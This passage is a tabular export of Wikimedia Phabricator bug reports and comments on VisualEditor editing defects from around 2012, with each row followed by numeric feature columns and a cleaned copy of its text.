**Severity**: critical",Unbreak Now!,100.0,1354218900,1354225226.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-wh5lwbsbwcapw3b5fkjp,task_description,resolved,True,c1,0,True,False,True,-31,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,7.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,4.045454545454546,0.7727272727272727,"A paragraph when changed to be a heading using the toolbar drop-down has its content deleted (but the presence still stays).

--------------------------
**Version**: unspecified
**Severity**: critical"
199918,VisualEditor: Paragraph changed to be a heading using the drop-down has its content deleted,"This was resolved in I994b8c43123c3cd02b9a550d5d7eac7d5052418e

This bug was introduced in I4600e984b287c6ff9267f4281d2f09bab9e1ad95 because ve.ce.ContentBranchNode's onUpdate method was being overwritten by ve.ce.HeadingNode.",,,1354225226,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-wh5lwbsbwcapw3b5fkjp,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,15.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,22.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.703703703703703,0.7407407407407407,"This was resolved in I994b8c43123c3cd02b9a550d5d7eac7d5052418e

This bug was introduced in I4600e984b287c6ff9267f4281d2f09bab9e1ad95 because ve.ce.ContentBranchNode's onUpdate method was being overwritten by ve.ce.HeadingNode."
44401,VisualEditor: Backwards selection fails over inline alien nodes,"Start with an article with an inline alien - e.g. ""ABC<tt>:-)</tt>DEF"". Place cursor ""up page"" (in LTR, left) of inline alien; selection with keyboard down-page works as expected. Now place the cursor ""down page"" (in LTR, right) of the inline alien; selection with keyboard up-page fails when reaching the alien, clearing the selection and placing the cursor immediately up-page of the alien.

Note that in RTL this appears to work fine(!).

Confirmed in both Chrome and Firefox.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1353718440,1354066309.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-6tkrmk42gm6l4ttp56da,task_description,resolved,True,c1,0,True,False,True,-32,,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.0,3.5,9.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,1.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,1.5,3.5,0.0,0.0,0.0,0.0,1.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,1.5,2.5,6.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,9.5,6.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,2.5,0.0,0.0,1.0,3.669230769230769,0.6153846153846154,"Start with an article with an inline alien - e.g. ""ABC<tt>:-)</tt>DEF"". Place cursor ""up page"" (in LTR, left) of inline alien; selection with keyboard down-page works as expected. Now place the cursor ""down page"" (in LTR, right) of the inline alien; selection with keyboard up-page fails when reaching the alien, clearing the selection and placing the cursor immediately up-page of the alien.

Note that in RTL this appears to work fine(!).

Confirmed in both Chrome and Firefox.

--------------------------
**Version**: unspecified
**Severity**: normal"
190350,VisualEditor: Backwards selection fails over inline alien nodes,"This was resolved in Iba55cfc3d531e7d1333b78c94912ff22179aace8

The issue was that the cursor ""fix-up"" code was not preserving non-zero-length selections.",,,1354066309,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-6tkrmk42gm6l4ttp56da,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,11.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.928571428571429,0.8214285714285714,"This was resolved in Iba55cfc3d531e7d1333b78c94912ff22179aace8

The issue was that the cursor ""fix-up"" code was not preserving non-zero-length selections."
44400,VisualEditor: Pass reference to data element to DM node constructor,"Post-December cleanup:

Rather than passing the type, length, attributes and (soon) annotations into the dm.Node constructors separately, we should just pass a reference to the data element. This will make a lot of things cleaner, and make the constructors more consistent between node types.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1353704640,1354056487.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-7hihps7ry67el6iq5omz,task_description,resolved,True,c1,0,False,False,True,-32,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,7.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,4.2368421052631575,0.6973684210526315,"Post-December cleanup:

Rather than passing the type, length, attributes and (soon) annotations into the dm.Node constructors separately, we should just pass a reference to the data element. This will make a lot of things cleaner, and make the constructors more consistent between node types.

--------------------------
**Version**: unspecified
**Severity**: normal"
190331,VisualEditor: Pass reference to data element to DM node constructor,https://gerrit.wikimedia.org/r/#/c/34956/,,,1354054120,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-7hihps7ry67el6iq5omz,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
44282,VisualEditor: Link inspector should edit existing annotation rather than creating new one,"When editing an existing link, the link inspector should grab the existing annotation and edit it, rather than starting over with a brand new annotation.

Destroying the existing annotation loses metadata we need for preserving syntactical variation (hrefPrefix and origTitle), which means that currently, simply inspecting a link without actually changing its target can cause that link to be changed in the wikitext.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1353380340,1353971898.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-vfbpfzavk4xiw4bzbauh,task_description,declined,True,c1,0,False,False,True,-32,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,3.0,6.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,4.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,10.0,0.0,0.0,0.0,4.766666666666667,0.7,"When editing an existing link, the link inspector should grab the existing annotation and edit it, rather than starting over with a brand new annotation.

Destroying the existing annotation loses metadata we need for preserving syntactical variation (hrefPrefix and origTitle), which means that currently, simply inspecting a link without actually changing its target can cause that link to be changed in the wikitext.

--------------------------
**Version**: unspecified
**Severity**: normal"
183720,VisualEditor: Link inspector should edit existing annotation rather than creating new one,"Roan and I agree that as long as the annotation isn't re-applied (and meta data stripped) unless we actually changed the target, this behavior is OK.

The concept is, if you touch something with the editor we have the right to normalize that bit.",,,1353971898,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-vfbpfzavk4xiw4bzbauh,task_subcomment,,True,c1,0,False,,,-31,,0.0,2.0,0.0,2.0,2.0,6.0,4.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,6.0,0.0,7.0,13.0,2.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,7.0,6.0,4.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.7962962962962963,"Roan and I agree that as long as the annotation isn't re-applied (and meta data stripped) unless we actually changed the target, this behavior is OK.

The concept is, if you touch something with the editor we have the right to normalize that bit."
183715,VisualEditor: Link inspector should edit existing annotation rather than creating new one,"What happens when the annotation type changes from internal to external? We have to create a new object at some point.

What about when someone removes an annotation, then adds it back in? Do we then have a diff?

I'm suspicious about this being the only way we cleanly round-trip.",,,1353957557,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-vfbpfzavk4xiw4bzbauh,task_subcomment,,True,c1,0,False,,,-31,,2.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,7.0,0.0,11.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,11.0,0.0,5.0,0.0,0.0,8.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8360655737704916,0.7704918032786885,"What happens when the annotation type changes from internal to external? We have to create a new object at some point.

What about when someone removes an annotation, then adds it back in? Do we then have a diff?

I'm suspicious about this being the only way we cleanly round-trip."
44277,VisualEditor: First character in empty document behaves strangely in Firefox,"Steps to reproduce:
1. Go to a nonexistent page
2. Click the Create tab
3. Type ""foobar""

Result: ""f"" appears on a line by itself, ""oobar"" appears on the next line. The document model only contains ""oobar"". The ""f"" jumps around when rerendering (e.g. when you press enter).

Can NOT be reproduced if:
* you use Chrome
* you click out of the editor and back into it before typing
* you press Ctrl+A, Backspace before typing text

The editor document looks like this:

<div contentEditable=""true""><p><span class=""slug""></span></p></div>

I think the cause of this bug is that Firefox initially puts the cursor before the <p>, rather than inside the <p> or inside the <span>.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1353377280,1354052317.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-euqyxfrrhmfrgg76hheq,task_description,resolved,True,c1,0,False,False,True,-32,,0.0,0.0,0.0,0.5,0.5,2.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.5,4.5,10.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,6.5,0.5,1.0,0.0,2.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,1.0,9.5,2.0,1.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,3.5,10.0,6.0,0.0,5.0,0.0,3.5,0.0,1.0,1.0,0.5,1.5,0.0,0.0,5.5,3.653409090909091,0.6079545454545454,"Steps to reproduce:
1. Go to a nonexistent page
2. Click the Create tab
3. Type ""foobar""

Result: ""f"" appears on a line by itself, ""oobar"" appears on the next line. The document model only contains ""oobar"". The ""f"" jumps around when rerendering (e.g. when you press enter).

Can NOT be reproduced if:
* you use Chrome
* you click out of the editor and back into it before typing
* you press Ctrl+A, Backspace before typing text

The editor document looks like this:

<div contentEditable=""true""><p><span class=""slug""></span></p></div>

I think the cause of this bug is that Firefox initially puts the cursor before the <p>, rather than inside the <p> or inside the <span>.

--------------------------
**Version**: unspecified
**Severity**: normal"
183408,VisualEditor: First character in empty document behaves strangely in Firefox,https://gerrit.wikimedia.org/r/#/c/34681/,,,1353545923,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-euqyxfrrhmfrgg76hheq,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
44221,VisualEditor: Add tab layout that adds a ve-tab instead of replacing the default,"Taken from bug 42117 which I'm de-prioritising

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1353122700,1354131976.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ffv55y77ier7bslrsyco,task_description,resolved,True,c1,0,True,False,True,-33,,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.071428571428571,0.6785714285714286,"Taken from bug 42117 which I'm de-prioritising

--------------------------
**Version**: unspecified
**Severity**: critical"
205917,VisualEditor: Add tab layout that adds a ve-tab instead of replacing the default,Change-Id: I3fe29c52b743837c2e1d66f25ccdca6115b8bd25,,,1354126331,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-ffv55y77ier7bslrsyco,task_subcomment,,True,c1,0,True,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: I3fe29c52b743837c2e1d66f25ccdca6115b8bd25
44172,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,"

--------------------------
**Version**: unspecified
**Severity**: enhancement",Unbreak Now!,100.0,1353021960,1354052322.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_description,resolved,True,c1,0,True,False,True,-33,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.5,"

--------------------------
**Version**: unspecified
**Severity**: enhancement"
202952,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,"Max,

The reason for knowing which edits come from which source is so where the bugs are likely to be (and has the bonus of being possible to do statistical analysis).

Longer-term, as we make editing through the API easier, we'd like to move every user of the API to be labelled as the source (this is the approach taken by Twitter, for example). And of course, for the edit box to go through the API too, though that's more for sanity and security model than for tracking down bugs given how stable that code is.

It's entirely possible that Tags aren't the best venue for this data, but it's what we have for now, and we can move to a better one later.",,,1353704947,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_subcomment,,True,c1,0,True,,,-32,,0.5,0.0,0.5,0.5,0.5,6.0,2.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,2.5,0.0,5.0,15.5,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,7.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,1.5,0.0,1.0,0.0,0.0,0.0,13.5,1.0,0.5,0.0,0.5,0.0,1.0,1.5,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,6.0,4.5,5.5,2.5,3.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,15.5,1.5,0.0,0.0,0.0,3.5,0.0,3.0,0.5,0.0,1.5,2.5,0.5,0.0,3.5666666666666664,0.7333333333333334,"Max,

The reason for knowing which edits come from which source is so where the bugs are likely to be (and has the bonus of being possible to do statistical analysis).

Longer-term, as we make editing through the API easier, we'd like to move every user of the API to be labelled as the source (this is the approach taken by Twitter, for example). And of course, for the edit box to go through the API too, though that's more for sanity and security model than for tracking down bugs given how stable that code is.

It's entirely possible that Tags aren't the best venue for this data, but it's what we have for now, and we can move to a better one later."
202947,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,"The use-case for adding this functionality/feature is still unclear to me. In theory, there should be no distinction between VisualEditor edits and edits made via the standard (the classic?) textarea editor.",,,1353704521,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,7.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.317073170731708,0.926829268292683,"The use-case for adding this functionality/feature is still unclear to me. In theory, there should be no distinction between VisualEditor edits and edits made via the standard (the classic?) textarea editor."
202941,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,https://gerrit.wikimedia.org/r/34686,,,1353551242,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
202937,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,"(In reply to comment #1)
> I guess for the testing phase it won't be too bad, but as Terry points out on
> wikitech-l, the tagging system hasn't gotten much love since it was
> implemented, so it may not scale well (fire hose and all...).
>
I think we'll be fine for a while. According to https://en.wikipedia.org/wiki/Special:Tags , the most-used tag (references removed) has been used over half a million times. There are five tags used >100k times, and they add up to about 1.8 million. Overall the number of tagged revisions on enwiki is probably about 2 million.

Based on a quick toolserver query, the number of edits by logged-in users in the main namespace in the hour between 18:15 UTC and 19:15 UTC today (Nov 21) was about 4,500. Even if all those edits used VE, it would take 18 days for VE-tagged edits to reach 2 million at that pace. That's kind of fast, but it's slow enough that we'll have time to respond. I made change tagging configurable and turned it on by default. If it causes problems, we can turn it off.",,,1353551175,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_subcomment,,True,c1,0,False,,,-32,,0.5,0.0,0.0,0.5,0.0,2.5,0.5,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.5,2.5,0.0,5.0,14.5,0.0,1.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.5,1.5,0.5,4.0,0.5,2.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,15.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,2.5,10.5,1.5,2.0,6.5,0.0,0.0,0.0,0.5,3.5,0.0,7.5,0.0,6.0,14.5,4.0,0.0,0.0,0.0,6.0,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,3.4893617021276597,0.7287234042553192,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
I think we'll be fine for a while. According to URL , the most-used tag (references removed) has been used over half a million times. There are five tags used >100k times, and they add up to about 1.8 million. Overall the number of tagged revisions on enwiki is probably about 2 million.

Based on a quick toolserver query, the number of edits by logged-in users in the main namespace in the hour between 18:15 UTC and 19:15 UTC today (Nov 21) was about 4,500. Even if all those edits used VE, it would take 18 days for VE-tagged edits to reach 2 million at that pace. That's kind of fast, but it's slow enough that we'll have time to respond. I made change tagging configurable and turned it on by default. If it causes problems, we can turn it off."
202931,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,"(In reply to comment 0)
> Edits should add a VisualEditor tag (using MediaWiki's revision tagging
> system) so they can be identified

What's the use-case?

I guess for the testing phase it won't be too bad, but as Terry points out on wikitech-l, the tagging system hasn't gotten much love since it was implemented, so it may not scale well (fire hose and all...).

(Please don't file bugs with empty descriptions [comment 0]. Summaries often change and it makes replies with quoting more difficult.)",,,1353115901,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_subcomment,,True,c1,0,False,,,-33,,2.0,0.0,0.0,1.0,4.0,4.0,1.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,7.0,10.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,8.0,2.0,3.0,4.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,5.0,10.0,2.0,1.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,3.4591836734693877,0.7551020408163265,"(In reply to comment 0)
QUOTE
QUOTE

What's the use-case?

I guess for the testing phase it won't be too bad, but as Terry points out on wikitech-l, the tagging system hasn't gotten much love since it was implemented, so it may not scale well (fire hose and all...).

(Please don't file bugs with empty descriptions [comment 0]. Summaries often change and it makes replies with quoting more difficult.)"
44124,VisualEditor: Meta-fy comments,"Comments should be stored in the meta-linmod, right now they're just ignored, which leads to all comments being removed when we save a page.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1352940240,1353384355.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-6whfmphns7qcm6tbt5j3,task_description,resolved,True,c1,0,False,False,True,-33,,2.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,6.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9375,0.7916666666666666,"Comments should be stored in the meta-linmod, right now they're just ignored, which leads to all comments being removed when we save a page.

--------------------------
**Version**: unspecified
**Severity**: normal"
